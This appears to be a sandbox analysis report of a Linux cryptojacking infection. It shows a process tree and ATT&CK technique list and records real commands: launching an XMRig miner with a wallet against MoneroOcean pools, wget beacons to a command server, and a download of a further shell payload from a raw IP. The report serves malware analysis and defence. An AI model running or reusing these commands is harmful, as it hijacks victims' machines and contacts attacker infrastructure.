  nohup /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0"
  2⤵
  - Executes dropped EXE
  PID:1750
- /tmp/xmrig
  /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0"
  2⤵
  - Checks hardware identifiers (DMI)
  - Reads hardware information
  - Checks CPU configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:1750
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"output\":\"MINING_STARTED:ubuntu1804-amd64-20260513-en-13-32:gulf.moneroocean.stream:20004\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1789

/usr/bin/nohup
nohup sh /tmp/.ms.sh
1⤵
PID:1762

/usr/local/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1762

/usr/local/bin/sh
sh /tmp/.ms.sh
1⤵
PID:1762

/usr/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1762

/usr/bin/sh
sh /tmp/.ms.sh
1⤵
PID:1762

/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1762

/bin/sh
sh /tmp/.ms.sh
1⤵
- Writes file to tmp directory
PID:1762
- /bin/cat
  cat /var/tmp/.w
  2⤵
  PID:1763
- /bin/cat
  cat /tmp/.xmrig.pid
  2⤵
  PID:1764
- /bin/chmod
  chmod +x /tmp/xmrig
  2⤵
  - File and Directory Permissions Modification
  PID:1765
- /usr/bin/nproc
  nproc
  2⤵
  PID:1767
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  - Reads runtime system information
  PID:1771
- /bin/grep
  grep MemTotal /proc/meminfo
  2⤵
  PID:1770
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"output\":\"MINING_STARTED:ubuntu1804-amd64-20260513-en-13-32\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1776
- /usr/bin/nohup
  nohup /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0"
  2⤵
  - Executes dropped EXE
  PID:1775
- /tmp/xmrig
  /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0"
  2⤵
  - Checks hardware identifiers (DMI)
  - Reads hardware information
  - Checks CPU configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:1775
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"output\":\"MINING_STARTED:ubuntu1804-amd64-20260513-en-13-32:gulf.moneroocean.stream:20004\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1792

/usr/bin/nohup
nohup sh /tmp/.ps.sh
1⤵
PID:1777

/usr/local/sbin/sh
sh /tmp/.ps.sh
1⤵
PID:1777

/usr/local/bin/sh
sh /tmp/.ps.sh
1⤵
PID:1777

/usr/sbin/sh
sh /tmp/.ps.sh
1⤵
PID:1777

/usr/bin/sh
sh /tmp/.ps.sh
1⤵
PID:1777

/sbin/sh
sh /tmp/.ps.sh
1⤵
PID:1777

/bin/sh
sh /tmp/.ps.sh
1⤵
PID:1777
- /usr/bin/awk
  awk "{print \$7; exit}"
  2⤵
  PID:1780
- /sbin/ip
  ip route get 1
  2⤵
  - System Network Configuration Discovery
  PID:1779
- /usr/bin/awk
  awk -F. "{print \$1\".\"\$2\".\"\$3}"
  2⤵
  PID:1786
- /usr/bin/wget
  wget -q -O /tmp/.w.prop http://146.103.42.69:8080/sh_payload
  2⤵
  - Writes file to tmp directory
  PID:1787

/usr/bin/nohup
nohup sh /tmp/.ms.sh
1⤵
PID:1807

/usr/local/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1807

/usr/local/bin/sh
sh /tmp/.ms.sh
1⤵
PID:1807

/usr/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1807

/usr/bin/sh
sh /tmp/.ms.sh
1⤵
PID:1807

/sbin/sh
sh /tmp/.ms.sh
1⤵
PID:1807

/bin/sh
sh /tmp/.ms.sh
1⤵
- Writes file to tmp directory
PID:1807
- /bin/cat
  cat /var/tmp/.w
  2⤵
  PID:1808
- /bin/cat
  cat /tmp/.xmrig.pid
  2⤵
  PID:1809
- /bin/chmod
  chmod +x /tmp/xmrig
  2⤵
  - File and Directory Permissions Modification
  PID:1810
- /usr/bin/nproc
  nproc
  2⤵
  PID:1812
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  - Reads runtime system information
  PID:1815
- /bin/grep
  grep MemTotal /proc/meminfo
  2⤵
  - Reads runtime system information
  PID:1814
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"output\":\"MINING_STARTED:ubuntu1804-amd64-20260513-en-13-32\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1817
- /usr/bin/nohup
  nohup /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0"
  2⤵
  - Executes dropped EXE
  PID:1816
- /tmp/xmrig
  /tmp/xmrig -o gulf.moneroocean.stream:20004 --tls -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0" "--cpu-max-threads-hint=1" --background -o gulf.moneroocean.stream:10004 -u 859cnHBWbZg2xsF5GzpmAKd6wrjV3SFMSWZyavxkzncwikwpjnyVziBSw5kuq2BLFnXvU4ksDSEJrb2xSLTenCvqKyC6yph -p ubuntu1804-amd64-20260513-en-13-32 --keepalive "--donate-level=0"
  2⤵
  - Checks hardware identifiers (DMI)
  - Reads hardware information
  - Checks CPU configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:1816
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"ubuntu1804-amd64-20260513-en-13-32\",\"output\":\"MINING_STARTED:ubuntu1804-amd64-20260513-en-13-32:gulf.moneroocean.stream:20004\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:1825

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

Credential Access

Discovery

System Information Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks